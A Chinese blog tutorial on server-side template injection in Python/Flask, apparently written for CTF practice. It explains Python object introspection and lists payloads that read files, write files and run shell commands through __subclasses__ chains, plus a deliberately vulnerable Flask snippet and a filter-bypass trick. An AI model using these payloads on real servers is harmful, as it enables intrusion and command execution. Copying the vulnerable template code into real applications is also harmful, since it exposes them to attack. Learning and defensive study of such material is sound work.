ssti模版注入

什么是(服务端)模板中注入?

前言:服务器端模板提供了一种更加简单的方法来管理动态生成的HTML代码。最大的优点就是你可以在服务器端动态生成HTML页面,看起来跟静态HTML页面一样。
通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式

漏洞成因:

程序员对代码不规范不严谨造成

如何防御ssti?

  1. 为了防止此类漏洞,你应该像使用eval()函数一样处理字符串加载功能。尽可能加载静态模板文件。
  2. 已经确定此功能类似于require()函数调用。因此,你也应该防止本地文件包含(LFI)漏洞。不要允许用户控制此类文件或其内容的路径

关于SSTI的python类的知识

面向对象语言的方法来自于类,对于python,有很多好用的函数库,我们经常会再写Python中用到import来引入许多的类和方法,python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是object,而object拥有众多的子类。
在这里插入图片描述
__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
在这里插入图片描述
__bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值
在这里插入图片描述
__mro__也可获取基类,若在后面加[number]则直接获取基类

在这里插入图片描述__subclasses__():查看当前类的子类在这里插入图片描述object.__作用一样

一些常用的姿势

//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

SSTI神器–Tplmap

———————————————————

模板渲染

函数:render_template()

flask漏洞成因

漏洞代码:

 def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.url)
    

利用**%(request.url)**

render_template函数渲染的是templates中的模板

ctf常见绕过

  1. 过滤[]等括号
  2. 过滤了subclasses,拼凑法
原poc{{"".class.bases[0].subclasses()}}

绕过 {{"".class.bases[0]'subcla'+'sses'}}
  1. 过滤class
  2. timeit姿势

参考源

  1. https://xz.aliyun.com/t/3679
  2. https://blog.csdn.net/zz_Caleb/article/details/9648096
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值